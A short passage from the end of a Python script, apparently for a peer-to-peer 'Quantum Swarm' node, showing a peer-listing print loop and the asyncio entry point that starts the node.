1037              print(f"  • {p.get('type', 'unknown')}: {p.get('ip', 'unknown')}")
1038      
1039      else:
1040          print("🤖 Starting Quantum Swarm node...")
1041          await swarm.start()
1042  
1043  if __name__ == "__main__":
1044      asyncio.run(main())